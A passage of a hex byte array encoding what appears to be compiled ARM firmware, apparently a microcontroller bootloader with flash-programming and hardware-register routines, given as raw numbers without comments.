0x00, 0xf0, 0x01, 0x00, 0x70, 0x47, 0x00, 0xbf, 0x00, 0x38, 0x02, 0x40,
0x10, 0xb5, 0x05, 0x4b, 0x1c, 0x78, 0x05, 0x4b, 0x44, 0x43, 0xdb, 0x68,
0x00, 0x20, 0x98, 0x47, 0x60, 0x43, 0x00, 0x0c, 0x10, 0xbd, 0x00, 0xbf,
0x80, 0x01, 0x00, 0x20, 0xac, 0x01, 0x00, 0x20, 0xf7, 0xb5, 0x4f, 0x78,
0x4d, 0x69, 0x01, 0x2f, 0x3c, 0xd1, 0x86, 0x69, 0x34, 0x68, 0x33, 0x69,
0x00, 0x93, 0xda, 0xb2, 0xc3, 0xf3, 0x07, 0x43, 0x35, 0xb9, 0x65, 0xf3,
0x06, 0x02, 0x8d, 0xf8, 0x00, 0x20, 0x67, 0xf3, 0xc4, 0x03, 0x0e, 0xe0,
0x8f, 0x68, 0xbd, 0x42, 0x8c, 0xbf, 0x67, 0xf3, 0x06, 0x02, 0x65, 0xf3,
0x06, 0x02, 0x8d, 0xf8, 0x00, 0x20, 0x4f, 0xf0, 0x01, 0x02, 0x88, 0xbf,
0x4f, 0x61, 0x62, 0xf3, 0xc4, 0x03, 0x8d, 0xf8, 0x02, 0x30, 0x00, 0x9b,
0x44, 0xf0, 0x04, 0x44, 0x33, 0x61, 0xc3, 0x78, 0x01, 0x2b, 0x01, 0xbf,
0x0b, 0x78, 0x0a, 0x69, 0x00, 0xeb, 0x83, 0x03, 0x9b, 0x69, 0x08, 0xbf,
0x5a, 0x61, 0x34, 0x60, 0xc3, 0x78, 0x00, 0x2b, 0x34, 0xd1, 0x4b, 0x69,
0x00, 0x2b, 0x31, 0xd0, 0x00, 0x69, 0x09, 0x78, 0x42, 0x6b, 0x01, 0x23,
0x8b, 0x40, 0x13, 0x43, 0x43, 0x63, 0x29, 0xe0, 0x0e, 0x78, 0x8f, 0x68,
0x00, 0xeb, 0x86, 0x06, 0xb3, 0x6c, 0x1c, 0x68, 0x1b, 0x69, 0x00, 0x93,
0xda, 0xb2, 0xc3, 0xf3, 0x07, 0x43, 0x05, 0xb1, 0x4f, 0x61, 0x67, 0xf3,
0x06, 0x02, 0x8d, 0xf8, 0x00, 0x20, 0x01, 0x22, 0x62, 0xf3, 0xc4, 0x03,
0x8d, 0xf8, 0x02, 0x30, 0x00, 0x9a, 0xb3, 0x6c, 0x44, 0xf0, 0x04, 0x44,
0x1a, 0x61, 0xc3, 0x78, 0x01, 0x2b, 0x01, 0xbf, 0x0b, 0x78, 0x0a, 0x69,
0x00, 0xeb, 0x83, 0x03, 0x9b, 0x6c, 0x08, 0xbf, 0x5a, 0x61, 0x0b, 0x78,
0x00, 0xeb, 0x83, 0x00, 0x83, 0x6c, 0x1c, 0x60, 0x00, 0x20, 0x03, 0xb0,
0xf0, 0xbd, 0xb0, 0xf5, 0x80, 0x4f, 0x34, 0xbf, 0x00, 0x20, 0x01, 0x20,
0x70, 0x47, 0x00, 0x20, 0x70, 0x47, 0x00, 0x20, 0x70, 0x47, 0x00, 0xf0,
0xff, 0xbc, 0x00, 0x00, 0x08, 0xb5, 0x03, 0x46, 0x0a, 0x46, 0x04, 0x48,
0x19, 0x46, 0x00, 0xf0, 0xfe, 0xfc, 0x00, 0x30, 0x18, 0xbf, 0x01, 0x20,
0x08, 0xbd, 0x00, 0xbf, 0x18, 0x03, 0x00, 0x20, 0x10, 0xb5, 0x04, 0x4c,
0x04, 0x4b, 0x9c, 0x42, 0x03, 0xd2, 0x54, 0xf8, 0x04, 0x3b, 0x98, 0x47,
0xf8, 0xe7, 0x10, 0xbd, 0x54, 0x3b, 0x00, 0x08, 0x58, 0x3b, 0x00, 0x08,
0x07, 0xb5, 0x00, 0x23, 0x01, 0x93, 0x01, 0x9b, 0x00, 0xf0, 0x1f, 0x00,
0x43, 0xf0, 0x20, 0x03, 0x01, 0x93, 0x01, 0x9b, 0x23, 0xf4, 0xf8, 0x63,
0x43, 0xea, 0x80, 0x10, 0x09, 0x4b, 0x01, 0x90, 0xda, 0x68, 0x01, 0x9b,
0x13, 0x61, 0x08, 0x4b, 0x11, 0x69, 0x01, 0x3b, 0x01, 0x91, 0x02, 0xd0,
0x01, 0x99, 0x89, 0x06, 0xf8, 0xd4, 0x03, 0x20, 0xfe, 0xf7, 0x4a, 0xfe,
0x00, 0x20, 0x03, 0xb0, 0x5d, 0xf8, 0x04, 0xfb, 0x18, 0x14, 0x00, 0x20,
0x41, 0x0d, 0x03, 0x00, 0x82, 0xb0, 0x00, 0x23, 0x01, 0x93, 0x04, 0x4b,
0x01, 0x93, 0x01, 0x9b, 0x04, 0x33, 0x01, 0x93, 0x01, 0x9b, 0x18, 0x60,
0x02, 0xb0, 0x70, 0x47, 0x50, 0x28, 0x00, 0x40, 0x30, 0xb5, 0x05, 0x46,
0x27, 0x4c, 0x28, 0x49, 0x04, 0xeb, 0x40, 0x14, 0x0a, 0x6b, 0x60, 0x89,
0x85, 0xb0, 0x02, 0x43, 0x0a, 0x63, 0x22, 0x89, 0xa3, 0x7b, 0x02, 0x92,
0x22, 0x7b, 0x60, 0x68, 0x02, 0xa9, 0x8d, 0xf8, 0x0c, 0x20, 0x8d, 0xf8,
0x0f, 0x30, 0x00, 0xf0, 0x41, 0xfa, 0x4f, 0xf0, 0x80, 0x42, 0x93, 0x89,
0x28, 0x46, 0x23, 0xf0, 0x02, 0x03, 0x1b, 0x04, 0x1b, 0x0c, 0x93, 0x81,
0x23, 0x8b, 0x8d, 0xf8, 0x04, 0x30, 0x63, 0x8b, 0x01, 0x24, 0x8d, 0xf8,
0x05, 0x30, 0x21, 0x46, 0x00, 0x23, 0x8d, 0xf8, 0x06, 0x30, 0x8d, 0xf8,
0x07, 0x40, 0xff, 0xf7, 0xc1, 0xfc, 0x9d, 0xf8, 0x07, 0x30, 0x1b, 0xb1,
0x01, 0xa8, 0x00, 0xf0, 0xf7, 0xfa, 0x0a, 0xe0, 0x9d, 0xf8, 0x04, 0x30,
0x5a, 0x09, 0x03, 0xf0, 0x1f, 0x03, 0x9c, 0x40, 0x02, 0xf1, 0x20, 0x03,
0x0b, 0x4a, 0x42, 0xf8, 0x23, 0x40, 0x1c, 0x23, 0x8d, 0xf8, 0x04, 0x30,
0x06, 0x23, 0x8d, 0xf8, 0x05, 0x30, 0x00, 0x23, 0x8d, 0xf8, 0x06, 0x30,
0x01, 0xa8, 0x01, 0x23, 0x8d, 0xf8, 0x07, 0x30, 0x00, 0xf0, 0xdc, 0xfa,
0x05, 0xb0, 0x30, 0xbd, 0x10, 0x01, 0x00, 0x20, 0x00, 0x38, 0x02, 0x40,
0x00, 0xe1, 0x00, 0xe0, 0x10, 0xb5, 0xd0, 0xb1, 0x02, 0x46, 0x13, 0x1a,
0x12, 0xf8, 0x01, 0x4b, 0xdb, 0xb2, 0x00, 0x2c, 0xf9, 0xd1, 0x0a, 0x4a,
0x5b, 0x00, 0x02, 0x33, 0x0b, 0x80, 0x13, 0x70, 0x03, 0x23, 0x53, 0x70,
0x01, 0x38, 0x02, 0x23, 0x10, 0xf8, 0x01, 0x4f, 0x3c, 0xb1, 0x59, 0x1c,
0xd4, 0x54, 0xc9, 0xb2, 0x02, 0x33, 0x00, 0x24, 0xdb, 0xb2, 0x54, 0x54,
0xf4, 0xe7, 0x10, 0xbd, 0x18, 0x13, 0x00, 0x20, 0x10, 0xb5, 0x01, 0x24,
0x80, 0xf8, 0xed, 0x40, 0x00, 0x24, 0x80, 0xf8, 0xec, 0x40, 0xc0, 0xf8,
0xf8, 0x10, 0xc0, 0xf8, 0xfc, 0x10, 0xc0, 0xf8, 0x04, 0x41, 0xc0, 0xf8,
0x00, 0x21, 0x00, 0xf1, 0xec, 0x01, 0xff, 0xf7, 0xa9, 0xfe, 0x20, 0x46,
0x10, 0xbd, 0x10, 0xb5, 0x00, 0x23, 0xc0, 0xf8, 0xe4, 0x32, 0x80, 0xf8,
0xcd, 0x32, 0x80, 0xf8, 0xcc, 0x32, 0xc3, 0x78, 0x00, 0xf5, 0x33, 0x74,
0x01, 0x2b, 0x08, 0xbf, 0xc0, 0xf8, 0xdc, 0x12, 0xc0, 0xf8, 0xd8, 0x12,
0xc0, 0xf8, 0xe0, 0x22, 0x21, 0x46, 0xff, 0xf7, 0x91, 0xfe, 0x00, 0x20,
0x10, 0xbd, 0x00, 0x00, 0x38, 0xb5, 0x05, 0x46, 0x14, 0x46, 0xfe, 0xf7,
0xb3, 0xff, 0xd8, 0xb9, 0x01, 0x2d, 0x19, 0xd8, 0x0d, 0x49, 0x14, 0xf0,
0x01, 0x04, 0x0d, 0x4b, 0x51, 0xf8, 0x25, 0x20, 0x08, 0xd0, 0x11, 0x6a,
0xc1, 0xf3, 0x07, 0x22, 0x59, 0x70, 0xc1, 0xf3, 0x07, 0x41, 0x9a, 0x70,
0xd9, 0x70, 0x38, 0xbd, 0x52, 0x6a, 0x20, 0x46, 0xc2, 0xf3, 0x07, 0x21,
0x5a, 0x70, 0xc2, 0xf3, 0x07, 0x42, 0x99, 0x70, 0xda, 0x70, 0x38, 0xbd,
0x01, 0x20, 0x38, 0xbd, 0x78, 0x01, 0x00, 0x20, 0xf0, 0x18, 0x00, 0x20,
0x05, 0x4b, 0x00, 0x22, 0x1a, 0x82, 0x1a, 0x60, 0x5a, 0x60, 0x1a, 0x81,
0x9a, 0x72, 0x9a, 0x81, 0xda, 0x81, 0x01, 0x22, 0x9a, 0x74, 0x70, 0x47,
0xf8, 0x18, 0x00, 0x20, 0x70, 0xb5, 0x04, 0x46, 0xc0, 0xf3, 0x07, 0x40,
0xff, 0xf7, 0x42, 0xfe, 0x06, 0x46, 0xc4, 0xf3, 0x07, 0x20, 0xff, 0xf7,
0x3d, 0xfe, 0x05, 0x46, 0xe0, 0xb2, 0xff, 0xf7, 0x39, 0xfe, 0x05, 0x4b,
0x02, 0x46, 0x5c, 0x68, 0x30, 0x46, 0x29, 0x46, 0xa4, 0x46, 0xbd, 0xe8,
0x70, 0x40, 0x00, 0x23, 0x60, 0x47, 0x00, 0xbf, 0xac, 0x01, 0x00, 0x20,
0x13, 0xb5, 0x0e, 0x4b, 0x1b, 0x78, 0x0b, 0xb1, 0x0d, 0x4b, 0x00, 0xe0,
0x0d, 0x4b, 0x1c, 0x68, 0x0d, 0x4b, 0x68, 0x46, 0x9b, 0x68, 0x00, 0x21,
0x98, 0x47, 0xbd, 0xf8, 0x02, 0x20, 0xbd, 0xf8, 0x00, 0x30, 0x13, 0x43,
0xbd, 0xf8, 0x04, 0x20, 0x13, 0x43, 0x9b, 0xb2, 0x0b, 0xb1, 0x00, 0x20,
0x00, 0xe0, 0x20, 0x46, 0xff, 0xf7, 0xc8, 0xff, 0x02, 0xb0, 0x10, 0xbd,
0x10, 0x03, 0x00, 0x20, 0xec, 0x18, 0x00, 0x20, 0x14, 0x03, 0x00, 0x20,
0xac, 0x01, 0x00, 0x20, 0x02, 0x69, 0x40, 0xf6, 0xb8, 0x30, 0x53, 0x68,
0x43, 0xf0, 0x02, 0x03, 0x53, 0x60, 0xfe, 0xf7, 0x0d, 0xbd, 0xca, 0xb2,
0x12, 0xf0, 0x80, 0x0f, 0x01, 0xf0, 0x7f, 0x03, 0x10, 0xb5, 0x4f, 0xf0,
0x28, 0x04, 0x15, 0xbf, 0x04, 0xfb, 0x03, 0x01, 0x04, 0xfb, 0x01, 0x01,
0xec, 0x31, 0x01, 0xf5, 0x33, 0x71, 0xdb, 0xb2, 0x01, 0x24, 0xd2, 0x09,
0x8c, 0x70, 0x0b, 0x70, 0x4a, 0x70, 0x00, 0xeb, 0x83, 0x00, 0x32, 0xb1,
0x82, 0x69, 0x13, 0x68, 0x00, 0x2b, 0x04, 0xda, 0x43, 0xf0, 0x80, 0x43,
0x01, 0xe0, 0x82, 0x6c, 0x13, 0x68, 0x43, 0xf4, 0x00, 0x13, 0x13, 0x60,
0x00, 0x20, 0x10, 0xbd, 0x37, 0xb5, 0x05, 0x46, 0x00, 0x23, 0x11, 0x4c,
0x01, 0x93, 0x03, 0x20, 0xfe, 0xf7, 0xde, 0xfc, 0x2a, 0x68, 0x01, 0x3c,
0x13, 0x69, 0x01, 0x93, 0x14, 0xd0, 0x01, 0x9b, 0x00, 0x2b, 0xf4, 0xda,
0x01, 0x9b, 0x43, 0xf0, 0x01, 0x03, 0x01, 0x93, 0x01, 0x9b, 0x13, 0x61,
0x29, 0x68, 0x07, 0x4b, 0x0a, 0x69, 0x01, 0x3b, 0x01, 0x92, 0x02, 0xd0,
0x01, 0x9a, 0xd2, 0x07, 0xf8, 0xd4, 0x03, 0x20, 0xfe, 0xf7, 0xc4, 0xfc,
0x00, 0x20, 0x03, 0xb0, 0x30, 0xbd, 0x00, 0xbf, 0x41, 0x0d, 0x03, 0x00,
0x82, 0xb0, 0x00, 0x23, 0x00, 0x93, 0xc0, 0x23, 0x8d, 0xf8, 0x03, 0x30,
0x4f, 0xf0, 0x00, 0x03, 0x01, 0x22, 0x62, 0xf3, 0xc4, 0x03, 0x8d, 0xf8,
0x02, 0x30, 0x18, 0x23, 0x8d, 0xf8, 0x00, 0x30, 0x00, 0x9a, 0x83, 0x6c,
0x1a, 0x61, 0xc3, 0x78, 0x01, 0x2b, 0x08, 0xd1, 0x83, 0x6c, 0x00, 0xf2,
0xac, 0x42, 0x5a, 0x61, 0x83, 0x6c, 0x1a, 0x68, 0x4f, 0xf0, 0x80, 0x22,
0x1a, 0x60, 0x02, 0xb0, 0x70, 0x47, 0x30, 0xb5, 0x4c, 0x78, 0x0b, 0x78,
0x01, 0x2c, 0x15, 0xbf, 0x00, 0xeb, 0x83, 0x04, 0x00, 0xeb, 0x83, 0x05,
0xa5, 0x6c, 0xad, 0x69, 0x1c, 0xbf, 0x01, 0x24, 0x04, 0xfa, 0x03, 0xf3,
0x4f, 0xf0, 0x00, 0x02, 0x0c, 0xbf, 0x9c, 0x40, 0x63, 0xf3, 0x1f, 0x42,
0x2b, 0x68, 0x08, 0xbf, 0x64, 0xf3, 0x0f, 0x02, 0x1c, 0x04, 0x0d, 0xd4,
0x8c, 0x68, 0x64, 0xf3, 0x0a, 0x03, 0xcc, 0x78, 0x64, 0xf3, 0x93, 0x43,
0xcc, 0x88, 0x64, 0xf3, 0x99, 0x53, 0x43, 0xf0, 0x80, 0x53, 0x43, 0xf4,
0x00, 0x43, 0x2b, 0x60, 0x0b, 0x78, 0x01, 0x2b, 0x03, 0x69, 0x05, 0xd1,
0xc1, 0x7a, 0x19, 0xb9, 0xd9, 0x6b, 0x0a, 0x43, 0xda, 0x63, 0x02, 0xe0,
0xd9, 0x69, 0x0a, 0x43, 0xda, 0x61, 0x00, 0x20, 0x30, 0xbd, 0x00, 0x00,
0x0b, 0x4b, 0xda, 0x68, 0xd1, 0x03, 0x0d, 0xd4, 0xda, 0x68, 0xd2, 0x06,
0x0c, 0xd4, 0xda, 0x68, 0x12, 0xf0, 0xef, 0x0f, 0x0a, 0xd1, 0xdb, 0x68,
0x13, 0xf0, 0x02, 0x0f, 0x14, 0xbf, 0x07, 0x20, 0x08, 0x20, 0x70, 0x47,
0x01, 0x20, 0x70, 0x47, 0x05, 0x20, 0x70, 0x47, 0x06, 0x20, 0x70, 0x47,
0x00, 0x3c, 0x02, 0x40, 0x12, 0x23, 0x0b, 0x80, 0x00, 0x48, 0x70, 0x47,
0x0e, 0x3b, 0x00, 0x08, 0x04, 0x23, 0x0b, 0x80, 0x00, 0x48, 0x70, 0x47,
0xc4, 0x01, 0x00, 0x20, 0x12, 0x23, 0x0b, 0x80, 0x00, 0x48, 0x70, 0x47,
0xc8, 0x01, 0x00, 0x20, 0x08, 0xb5, 0x02, 0x48, 0xff, 0xf7, 0x58, 0xfe,
0x01, 0x48, 0x08, 0xbd, 0x20, 0x3b, 0x00, 0x08, 0x18, 0x13, 0x00, 0x20,
0x08, 0xb5, 0x02, 0x48, 0xff, 0xf7, 0x4e, 0xfe, 0x01, 0x48, 0x08, 0xbd,
0x20, 0x3b, 0x00, 0x08, 0x18, 0x13, 0x00, 0x20, 0x08, 0xb5, 0x02, 0x48,
0xff, 0xf7, 0x44, 0xfe, 0x01, 0x48, 0x08, 0xbd, 0x24, 0x3b, 0x00, 0x08,
0x18, 0x13, 0x00, 0x20, 0x08, 0xb5, 0x02, 0x48, 0xff, 0xf7, 0x3a, 0xfe,
0x01, 0x48, 0x08, 0xbd, 0x2d, 0x3b, 0x00, 0x08, 0x18, 0x13, 0x00, 0x20,
0x70, 0xb5, 0x8e, 0xb0, 0x05, 0xac, 0x21, 0x22, 0x0e, 0x46, 0x20, 0x46,
0x00, 0x21, 0x00, 0xf0, 0x29, 0xfb, 0x13, 0x4b, 0x01, 0xad, 0x93, 0xe8,
0x07, 0x00, 0x85, 0xe8, 0x07, 0x00, 0x00, 0x23, 0xea, 0x5c, 0x10, 0x09,
0x00, 0xf1, 0x30, 0x01, 0x39, 0x29, 0x88, 0xbf, 0x00, 0xf1, 0x37, 0x01,
0x02, 0xf0, 0x0f, 0x02, 0x04, 0xf8, 0x13, 0x10, 0x02, 0xf1, 0x30, 0x01,
0x39, 0x29, 0x88, 0xbf, 0x02, 0xf1, 0x37, 0x01, 0x04, 0xeb, 0x43, 0x02,
0x01, 0x33, 0x0c, 0x2b, 0x51, 0x70, 0xe7, 0xd1, 0x20, 0x46, 0x31, 0x46,
0xff, 0xf7, 0x08, 0xfe, 0x02, 0x48, 0x0e, 0xb0, 0x70, 0xbd, 0x00, 0xbf,
0x10, 0x7a, 0xff, 0x1f, 0x18, 0x13, 0x00, 0x20, 0xf0, 0xb5, 0x00, 0x22,
0x01, 0x23, 0x0c, 0x68, 0x93, 0x40, 0x1c, 0x40, 0x9c, 0x42, 0x29, 0xd1,
0x55, 0x00, 0x03, 0x23, 0xab, 0x40, 0xdb, 0x43, 0x06, 0x68, 0x1e, 0x40,
0x06, 0x60, 0x0e, 0x79, 0x07, 0x68, 0xae, 0x40, 0x3e, 0x43, 0x06, 0x60,
0x0e, 0x79, 0x01, 0x3e, 0x01, 0x2e, 0x11, 0xd8, 0x86, 0x68, 0x1e, 0x40,
0x86, 0x60, 0x4e, 0x79, 0x87, 0x68, 0xae, 0x40, 0x3e, 0x43, 0x86, 0x60,
0x46, 0x68, 0x26, 0xea, 0x04, 0x04, 0x44, 0x60, 0x8c, 0x79, 0x46, 0x68,
0x94, 0x40, 0xa4, 0xb2, 0x34, 0x43, 0x44, 0x60, 0xc4, 0x68, 0x23, 0x40,
0xc3, 0x60, 0xcb, 0x79, 0xc4, 0x68, 0xab, 0x40, 0x23, 0x43, 0xc3, 0x60,
0x01, 0x32, 0x10, 0x2a, 0xcc, 0xd1, 0xf0, 0xbd, 0x07, 0xb5, 0x08, 0x23,
0x8d, 0xf8, 0x07, 0x30, 0xff, 0xf7, 0x3c, 0xff, 0x8d, 0xf8, 0x07, 0x00,
0x9d, 0xf8, 0x07, 0x30, 0x01, 0x2b, 0xf7, 0xd0, 0x9d, 0xf8, 0x07, 0x00,
0x03, 0xb0, 0x5d, 0xf8, 0x04, 0xfb, 0x00, 0x00, 0x01, 0x4b, 0xd8, 0x60,
0x70, 0x47, 0x00, 0xbf, 0x00, 0x3c, 0x02, 0x40, 0x70, 0xb5, 0x05, 0x46,
0x0e, 0x46, 0xff, 0xf7, 0xe3, 0xff, 0x08, 0x28, 0x11, 0xd1, 0x09, 0x4c,
0x23, 0x69, 0x23, 0xf4, 0x40, 0x73, 0x23, 0x61, 0x23, 0x69, 0x23, 0x61,
0x23, 0x69, 0x43, 0xf0, 0x01, 0x03, 0x23, 0x61, 0x2e, 0x70, 0xff, 0xf7,
0xd3, 0xff, 0x23, 0x69, 0x23, 0xf0, 0x01, 0x03, 0x23, 0x61, 0x70, 0xbd,
0x00, 0x3c, 0x02, 0x40, 0x70, 0xb5, 0x05, 0x46, 0x0e, 0x46, 0xff, 0xf7,
0xc7, 0xff, 0x08, 0x28, 0x13, 0xd1, 0x0a, 0x4c, 0x23, 0x69, 0x23, 0xf4,
0x40, 0x73, 0x23, 0x61, 0x23, 0x69, 0x43, 0xf4, 0x00, 0x73, 0x23, 0x61,
0x23, 0x69, 0x43, 0xf0, 0x01, 0x03, 0x23, 0x61, 0x2e, 0x60, 0xff, 0xf7,
0xb5, 0xff, 0x23, 0x69, 0x23, 0xf0, 0x01, 0x03, 0x23, 0x61, 0x70, 0xbd,
0x00, 0x3c, 0x02, 0x40, 0x70, 0xb5, 0x06, 0x46, 0x41, 0xb1, 0x01, 0x29,
0x08, 0xd0, 0x02, 0x29, 0x0c, 0xbf, 0x4f, 0xf4, 0x00, 0x75, 0x4f, 0xf4,
0x40, 0x75, 0x03, 0xe0, 0x0d, 0x46, 0x01, 0xe0, 0x4f, 0xf4, 0x80, 0x75,
0xff, 0xf7, 0x9c, 0xff, 0x08, 0x28, 0x1e, 0xd1, 0x0f, 0x4c, 0x23, 0x69,
0x23, 0xf4, 0x40, 0x73, 0x23, 0x61, 0x21, 0x69, 0x29, 0x43, 0x21, 0x61,
0x23, 0x69, 0x23, 0xf0, 0xf8, 0x03, 0x23, 0x61, 0x23, 0x69, 0x43, 0xf0,
0x02, 0x03, 0x1e, 0x43, 0x26, 0x61, 0x23, 0x69, 0x43, 0xf4, 0x80, 0x33,
0x23, 0x61, 0xff, 0xf7, 0x83, 0xff, 0x23, 0x69, 0x23, 0xf0, 0x02, 0x03,
0x23, 0x61, 0x23, 0x69, 0x23, 0xf0, 0xf8, 0x03, 0x23, 0x61, 0x70, 0xbd,
0x00, 0x3c, 0x02, 0x40, 0x02, 0x4a, 0x13, 0x69, 0x43, 0xf0, 0x00, 0x43,
0x13, 0x61, 0x70, 0x47, 0x00, 0x3c, 0x02, 0x40, 0x04, 0x4b, 0x1a, 0x69,
0x00, 0x2a, 0xbf, 0xbf, 0x03, 0x4a, 0x5a, 0x60, 0x02, 0xf1, 0x88, 0x32,
0x5a, 0x60, 0x70, 0x47, 0x00, 0x3c, 0x02, 0x40, 0x23, 0x01, 0x67, 0x45,
0x10, 0x4b, 0xda, 0x68, 0x43, 0x78, 0xd2, 0x43, 0xc2, 0xf3, 0x02, 0x22,
0xc2, 0xf1, 0x04, 0x01, 0xc9, 0xb2, 0x8b, 0x40, 0xd9, 0xb2, 0x0f, 0x23,
0x13, 0x41, 0x82, 0x78, 0x13, 0x40, 0x0b, 0x43, 0x02, 0x78, 0x09, 0x49,
0x1b, 0x01, 0xdb, 0xb2, 0x0a, 0x44, 0x82, 0xf8, 0x00, 0x33, 0x03, 0x78,
0x01, 0x22, 0x58, 0x09, 0x03, 0xf0, 0x1f, 0x03, 0x02, 0xfa, 0x03, 0xf3,
0x41, 0xf8, 0x20, 0x30, 0x70, 0x47, 0x00, 0xbf, 0x00, 0xed, 0x00, 0xe0,
0x00, 0xe1, 0x00, 0xe0, 0x08, 0xb5, 0x4f, 0xf4, 0x80, 0x60, 0xfe, 0xf7,
0x1f, 0xf8, 0x4f, 0xf4, 0x00, 0x60, 0xfe, 0xf7, 0x1b, 0xf8, 0x4f, 0xf4,
0x80, 0x50, 0xfe, 0xf7, 0x17, 0xf8, 0x4f, 0xf4, 0x00, 0x50, 0xfe, 0xf7,
0x13, 0xf8, 0x4f, 0xf4, 0x80, 0x40, 0xfe, 0xf7, 0x0f, 0xf8, 0xbd, 0xe8,
0x08, 0x40, 0x4f, 0xf4, 0x00, 0x40, 0xfe, 0xf7, 0x09, 0xb8, 0x08, 0xb5,
0x20, 0x20, 0xfe, 0xf7, 0x05, 0xf8, 0x40, 0x20, 0xfe, 0xf7, 0x02, 0xf8,
0x80, 0x20, 0xfd, 0xf7, 0xff, 0xff, 0x4f, 0xf4, 0x80, 0x70, 0xfd, 0xf7,
0xfb, 0xff, 0xbd, 0xe8, 0x08, 0x40, 0x4f, 0xf4, 0x00, 0x70, 0xfd, 0xf7,
0xf5, 0xbf, 0x10, 0x20, 0xfd, 0xf7, 0xf2, 0xbf, 0x08, 0x20, 0xfd, 0xf7,
0xef, 0xbf, 0x04, 0x20, 0xfd, 0xf7, 0xec, 0xbf, 0x02, 0x20, 0xfd, 0xf7,
0xe9, 0xbf, 0x01, 0x20, 0xfd, 0xf7, 0xe6, 0xbf, 0x00, 0x21, 0x03, 0xe0,
0x0b, 0x4b, 0x5b, 0x58, 0x43, 0x50, 0x04, 0x31, 0x0a, 0x48, 0x0b, 0x4b,
0x42, 0x18, 0x9a, 0x42, 0xf6, 0xd3, 0x0a, 0x4a, 0x02, 0xe0, 0x00, 0x23,
0x42, 0xf8, 0x04, 0x3b, 0x08, 0x4b, 0x9a, 0x42, 0xf9, 0xd3, 0xff, 0xf7,
0x01, 0xfb, 0xfd, 0xf7, 0xe7, 0xff, 0xfc, 0xf7, 0x8d, 0xfe, 0x70, 0x47,
0x58, 0x3b, 0x00, 0x08, 0x00, 0x00, 0x00, 0x20, 0xdc, 0x01, 0x00, 0x20,
0xdc, 0x01, 0x00, 0x20, 0x0c, 0x19, 0x00, 0x20, 0xfe, 0xe7, 0x00, 0x00,
0x08, 0xb5, 0x12, 0x4b, 0x98, 0x42, 0x1a, 0x46, 0x09, 0xd1, 0x00, 0x23,
0x52, 0xf8, 0x23, 0x10, 0x01, 0x31, 0x13, 0xd1, 0x01, 0x33, 0xb3, 0xf5,
0x80, 0x5f, 0xf7, 0xd1, 0x0c, 0xe0, 0x0c, 0x4b, 0x98, 0x42, 0x1a, 0x46,
0x08, 0xd1, 0x00, 0x23, 0x52, 0xf8, 0x23, 0x10, 0x01, 0x31, 0x07, 0xd1,
0x01, 0x33, 0xb3, 0xf5, 0x80, 0x5f, 0xf7, 0xd1, 0x00, 0x20, 0x08, 0xbd,
0x08, 0x20, 0x00, 0xe0, 0x10, 0x20, 0x01, 0x46, 0x00, 0xf0, 0xf1, 0xf8,
0x08, 0xbd, 0x00, 0xbf, 0x00, 0x40, 0x00, 0x08, 0x00, 0x80, 0x00, 0x08,
0x70, 0xb5, 0xe2, 0xb0, 0x00, 0x21, 0x4f, 0xf4, 0xc2, 0x72, 0x05, 0x46,
0x01, 0xa8, 0x00, 0xf0, 0x6d, 0xf9, 0x01, 0x23, 0x18, 0x4a, 0x8d, 0xf8,
0x0d, 0x30, 0x8d, 0xf8, 0x0e, 0x30, 0x17, 0x4b, 0x04, 0x92, 0xb3, 0xf9,
0x08, 0x10, 0x1e, 0x46, 0xb1, 0xf5, 0x80, 0x7f, 0x14, 0x4c, 0x11, 0x46,
0x06, 0xd1, 0xd8, 0x68, 0x90, 0x42, 0x03, 0xd1, 0x54, 0xf8, 0x25, 0x00,
0x18, 0x44, 0x19, 0xe0, 0x10, 0x4a, 0xb2, 0xf9, 0x08, 0x30, 0xb3, 0xf5,
0x80, 0x7f, 0x06, 0xd1, 0xd3, 0x68, 0x8b, 0x42, 0x03, 0xd1, 0x54, 0xf8,
0x25, 0x00, 0x10, 0x44, 0x0c, 0xe0, 0x08, 0x20, 0x01, 0x46, 0x00, 0xf0,
0xba, 0xf8, 0x06, 0x48, 0x01, 0xa9, 0x4f, 0xf4, 0xc2, 0x72, 0x00, 0xf0,
0xcf, 0xf8, 0x54, 0xf8, 0x25, 0x30, 0xf0, 0x18, 0x62, 0xb0, 0x70, 0xbd,
0x42, 0x52, 0x43, 0x4d, 0x00, 0x40, 0x00, 0x08, 0x40, 0x3b, 0x00, 0x08,
0x00, 0x80, 0x00, 0x08, 0x2d, 0xe9, 0xf0, 0x4f, 0x81, 0x46, 0xe3, 0xb0,
0x04, 0x20, 0x17, 0x46, 0x8a, 0x46, 0xff, 0xf7, 0xb3, 0xff, 0x00, 0x21,
0x05, 0x46, 0x4f, 0xf4, 0xc2, 0x72, 0x01, 0xa8, 0x00, 0xf0, 0x22, 0xf9,
0x38, 0x4c, 0x01, 0x23, 0x8d, 0xf8, 0x0d, 0x30, 0x07, 0xeb, 0x09, 0x08,
0x36, 0x4b, 0xa0, 0x45, 0x04, 0x93, 0x5b, 0xd8, 0x05, 0xeb, 0x09, 0x00,
0x51, 0x46, 0x3a, 0x46, 0x00, 0xf0, 0xe0, 0xf8, 0x00, 0x28, 0x5b, 0xd0,
0x31, 0x4b, 0x32, 0x4e, 0xa9, 0xf5, 0xc2, 0x7b, 0xb5, 0x42, 0x08, 0xbf,
0x1e, 0x46, 0x30, 0x46, 0xff, 0xf7, 0x66, 0xff, 0x06, 0xf5, 0xc2, 0x70,
0x05, 0xf5, 0xc2, 0x71, 0x5a, 0x46, 0x00, 0xf0, 0x8f, 0xf8, 0x00, 0x28,
0x43, 0xd1, 0xb1, 0x44, 0x48, 0x46, 0x51, 0x46, 0x3a, 0x46, 0x00, 0xf0,
0x87, 0xf8, 0x00, 0x28, 0x3e, 0xd1, 0xa4, 0xf5, 0xc2, 0x74, 0xcb, 0xeb,
0x04, 0x04, 0xe2, 0x1b, 0x22, 0xd1, 0x01, 0x23, 0x8d, 0xf8, 0x0e, 0x30,
0x00, 0x23, 0x61, 0x93, 0xeb, 0x7a, 0x05, 0xf1, 0x10, 0x01, 0x50, 0x22,
0x05, 0xa8, 0x8d, 0xf8, 0x0f, 0x30, 0xfc, 0xf7, 0x4b, 0xfd, 0x05, 0xf1,
0x60, 0x01, 0x4f, 0xf4, 0x90, 0x72, 0x19, 0xa8, 0xfc, 0xf7, 0x44, 0xfd,
0x30, 0x46, 0x01, 0xa9, 0x4f, 0xf4, 0xc2, 0x72, 0x00, 0xf0, 0x64, 0xf8,
0x04, 0x46, 0x80, 0xb1, 0x30, 0x46, 0xff, 0xf7, 0x2f, 0xff, 0x6f, 0xf0,
0x04, 0x00, 0x17, 0xe0, 0x09, 0xeb, 0x07, 0x00, 0x05, 0xeb, 0x08, 0x01,
